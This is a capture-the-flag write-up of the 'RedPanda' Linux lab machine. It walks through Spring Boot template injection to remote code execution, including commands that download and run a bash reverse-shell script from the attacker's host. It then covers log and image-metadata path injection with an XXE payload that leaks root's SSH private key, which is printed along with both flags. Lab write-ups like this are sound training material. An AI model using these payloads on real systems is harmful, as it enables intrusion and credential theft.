RedPanda
10 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.170
- Release: 09 / 07 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.170 -p 22,8080
Nmap scan report for 10.10.11.170
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date:
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| </head>
| <body>
| <div class='pande'>
| <div class='ear left'></div>
| <div class='ear right'></div>
| <div class='whiskers left'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='whiskers right'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='face'>
| <div class='eye
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date:
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date:
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nmap done -- 1 IP address (1 host up) scanned in 16.28 seconds
This machine has ports 22 (SSH) and 8080 (HTTP) open.
Enumeration
If we go to http://10.10.11.170:8080
, we have this website:
If we search using a blank query, we see this:
It is challenging us to use an injection attack. If we read the source code, we can see that the web application is built with Spring Boot (Java):
Let’s enumerate a bit more before starting the attacks. If we click in Author: woodenk
we see this page:
And here we have another option, that is to export some data as XML in /export.xml
:
$ curl '10.10.11.170:8080/export.xml?author=woodenk'
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>woodenk</author>
<image>
<uri>/img/greg.jpg</uri>
<views>6</views>
</image>
<image>
<uri>/img/hungy.jpg</uri>
<views>2</views>
</image>
<image>
<uri>/img/smooch.jpg</uri>
<views>2</views>
</image>
<image>
<uri>/img/smiley.jpg</uri>
<views>1</views>
</image>
<totalviews>11</totalviews>
</credits>
In summary, we have three endpoints where we can potentially inject payloads:
- POST:
/search
in a parameter calledname
- GET:
/stats?author=woodenk
- GET:
/export.xml?author=woodenk
Let’s start with the first one using curl
:
$ curl 10.10.11.170:8080/search -d 'name=asdf'
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Red Panda Search | Made with Spring Boot</title>
<link rel="stylesheet" href="css/search.css">
</head>
<body>
<form action="/search" method="POST">
<div class="wrap">
<div class="search">
<input type="text" name="name" placeholder="Search for a red panda">
<button type="submit" class="searchButton">
<i class="fa fa-search"></i>
</button>
</div>
</div>
</form>
<div class="wrapper">
<div class="results">
<h2 class="searched">You searched for: asdf</h2>
<h2>There are 0 results for your search</h2>
</div>
</div>
</body>
</html>
$ curl 10.10.11.170:8080/search -sd 'name=asdf' | grep searched
<h2 class="searched">You searched for: asdf</h2>
Foothold
There is no SQL injection, but we can try Server-Side Template Injection (SSTI) in Spring Boot (Java). Usually, templates in Java use ${...}
, but it is blacklisted:
$ curl 10.10.11.170:8080/search -sd 'name=${7*7}' | grep searched
<h2 class="searched">You searched for: Error occured: banned characters</h2>
SSTI attack
In Spring Boot, there is another way using #{...}
:
$ curl 10.10.11.170:8080/search -sd 'name=#{7*7}' | grep searched
<h2 class="searched">You searched for: ??49_en_US??</h2>
And indeed the injection is successful, we see 49
. However, this is a limited way of using templates in Spring Boot. There is yet another way of using templates, which is *{...}
(more information in baeldung.com):
$ curl 10.10.11.170:8080/search -sd 'name=*{7*7}' | grep searched
<h2 class="searched">You searched for: 49</h2>
Getting RCE
Now we can go to PayloadsAllTheThings and find a way to turn SSTI into Remote Code Execution (RCE). We can test it using curl
to our attacker machine:
$ curl 10.10.11.170:8080/search -sd 'name=*{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("curl+10.10.17.44")}' | grep searched
<h2 class="searched">You searched for: Process[pid=3407, exitValue="not exited"]</h2>
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.170 - - [] "GET / HTTP/1.1" 200 -
In order to get a reverse shell, we can download a Bash script into the victim machine and then run it. For this we must use two web requests. The Bash script contains a reverse shell command:
#!/bin/bash
bash -i >& /dev/tcp/10.10.17.44/4444 0>&1
Now we perform the attack (be careful with URL encoding):
$ curl 10.10.11.170:8080/search -sd 'name=*{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("curl+10.10.17.44/r.sh+-o+/tmp/r.sh")}' | grep searched
<h2 class="searched">You searched for: Process[pid=3505, exitValue="not exited"]</h2>
$ curl 10.10.11.170:8080/search -sd 'name=*{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("bash+/tmp/r.sh")}' | grep searched
<h2 class="searched">You searched for: Process[pid=3510, exitValue="not exited"]</h2>
And we get the connection back in nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.170.
Ncat: Connection from 10.10.11.170:53468.
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cd
cd
woodenk@redpanda:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
woodenk@redpanda:~$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
woodenk@redpanda:~$ export TERM=xterm
woodenk@redpanda:~$ export SHELL=bash
woodenk@redpanda:~$ stty rows 50 columns 158
At this point, we can read the user.txt
flag:
woodenk@redpanda:~$ cat user.txt
4729fd292d7e98cd8ac01d7a1b0399c9
System enumeration
Basic enumeration only shows that we belong to group logs
and some files owned by this group:
woodenk@redpanda:/tmp$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/tmp$ find / -group logs 2>/dev/null | grep -vE 'proc|home|tmp'
/opt/panda_search/redpanda.log
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
Let’s enumerate running processes using pspy
:
woodenk@redpanda:~$ cd /tmp
woodenk@redpanda:/tmp$ curl 10.10.17.44/pspy64s -so .pspy
woodenk@redpanda:/tmp$ chmod +x .pspy
woodenk@redpanda:/tmp$ ./.pspy
This is the way the server is running (using sudo -u woodenk
):
...
CMD: UID=1000 PID=892 | java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
CMD: UID=0 PID=89 |
CMD: UID=0 PID=88 |
CMD: UID=0 PID=878 | sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
CMD: UID=0 PID=877 | /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
...
And after some time, we see another command being run as root
:
...
CMD: UID=0 PID=1175 | /bin/sh -c /root/run_credits.sh
CMD: UID=0 PID=1174 | /usr/sbin/CRON -f
CMD: UID=0 PID=1177 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
CMD: UID=0 PID=1176 | /bin/sh /root/run_credits.sh
...
Actually, in /opt
we have some interesting files and directories:
woodenk@redpanda:~$ ls -la /opt
total 24
drwxr-xr-x 5 root root 4096 Jun 23 18:12 .
drwxr-xr-x 20 root root 4096 Jun 23 14:52 ..
-rwxr-xr-x 1 root root 462 Jun 23 18:12 cleanup.sh
drwxr-xr-x 3 root root 4096 Jun 14 14:35 credit-score
drwxr-xr-x 6 root root 4096 Jun 14 14:35 maven
drwxrwxr-x 5 root root 4096 Jun 14 14:35 panda_search
The script cleanup.sh
runs periodically, and it is used to remove XML and JPEG files, so we can guess that the attack vector is via XML:
woodenk@redpanda:~$ cat /opt/cleanup.sh
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;
The project called credit-score
is the one executed as root
. Let’s enumerate Java files:
woodenk@redpanda:/tmp$ cd /opt/credit-score/
woodenk@redpanda:/opt/credit-score$ find . -name \*.java
./LogParser/final/.mvn/wrapper/MavenWrapperDownloader.java
./LogParser/final/src/test/java/com/logparser/AppTest.java
./LogParser/final/src/main/java/com/logparser/App.java
Static code analysis
Alright, there is only one main file (App.java
):
woodenk@redpanda:/opt/credit-score$ cat LogParser/final/src/main/java/com/logparser/App.java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename) {
if (filename.contains(".jpg")) {
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for (Directory dir : metadata.getDirectories()) {
for (Tag tag : dir.getTags()) {
if (tag.getTagName() == "Artist") {
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException {
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for (Element el : rootElement.getChildren()) {
if (el.getName() == "image") {
if (el.getChild("uri").getText().equals(uri)) {
Integer totalviews =
Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args)
throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while (log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (!isImage(line)) {
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
We have a lot of things here. Let’s do a list:
- The program reads a log file at
/opt/panda_search/redpanda.log
line by line - If a line does not contain
.jpg
, it is skipped - The line is parsed to get
status_code
,ip
,user_agent
anduri
(separated by||
) - Then, it takes the artist name from
uri
(particularly, from theArtist
metadata of a given JPEG image) - The artist name is used to define the path to an XML file (
/credits/<artist>_creds.xml
) - Finally, it processes the given XML file
The idea is to trick the process to read a malicious XML file. For that, we need to control the artist name, which comes from the Artist
metadata of a JPEG image.
We are not able to add files to the web server file system, but we can break the log parser logic and add the needed URI in the User-Agent
header of our web requests (using a ||
, because the parser uses this character as delimiter).
Privilege escalation
Let’s start downloading a legitimate image and show the Artist
metadata:
$ curl 10.10.11.170:8080/img/greg.jpg -so greg.jpg
$ exiftool greg.jpg | grep Artist
Artist : woodenk
I’ll modify this image to exploit the credit-score
:
$ exiftool -Artist='../tmp/rocky' rocky.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - rocky.jpg
1 image files updated
$ exiftool rocky.jpg | grep Artist
Artist : ../tmp/rocky
I have put ../tmp/rocky
because the idea is to trick the program to process the XML file at "/credits" + "../tmp/rocky" + "_creds.xml"
, that is /tmp/rocky_creds.xml
(something we can control).
Let’s upload the image to the machine in /tmp
:
woodenk@redpanda:/opt/credit-score$ cd /tmp
woodenk@redpanda:/tmp$ wget -q 10.10.17.44/rocky.jpg
At this moment, we must enter a malicious XML file called rocky_creds.xml
with an XML External Entity (XXE) that reads the file /root/.ssh/id_rsa
. Something like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">
]>
<credits>
<author>&xxe;</author>
<image>
<uri>/../../../../../../tmp/rocky.jpg</uri>
<views>1337</views>
</image>
<totalviews>1337</totalviews>
</credits>
Now, we need to perform web requests using the malicious User-Agent
header. For example, this one:
$ curl '10.10.11.170:8080/img/greg.jpg' -H 'User-Agent: asdf||/../../../../../../tmp/rocky.jpg'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
The idea is that the URI points to a file at "/opt/panda_search/src/main/resources/static" + "/../../../../../../tmp/rocky.jpg"
, that is /tmp/rocky.jpg
(the image we just uploaded). Notice that the tag <uri>
in the XML file contains the same URI that is in the User-Agent
header.
Now the log file /opt/panda_search/redpanda.log
should contain our payload:
woodenk@redpanda:/tmp$ cat /opt/panda_search/redpanda.log
200||10.10.17.44||asdf||/../../../../../../tmp/rocky.jpg||/img/greg.jpg
And after around a minute, root
will run the credit-score
project (a JAR file) and will process the file rocky_creds.xml
, leaking out the contents of /root/.ssh/id_rsa
as follows:
woodenk@redpanda:/tmp$ cat rocky_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</author>
<image>
<uri>/../../../../../../tmp/rocky</uri>
<views>1337</views>
</image>
<totalviews>1337</totalviews>
</credits>
Finally, we can access as root
into the machine using this private SSH key:
$ vim id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.10.11.170
root@redpanda:~# cat root.txt
c14669bf7e8f73a39ae6e2a97cbd05f4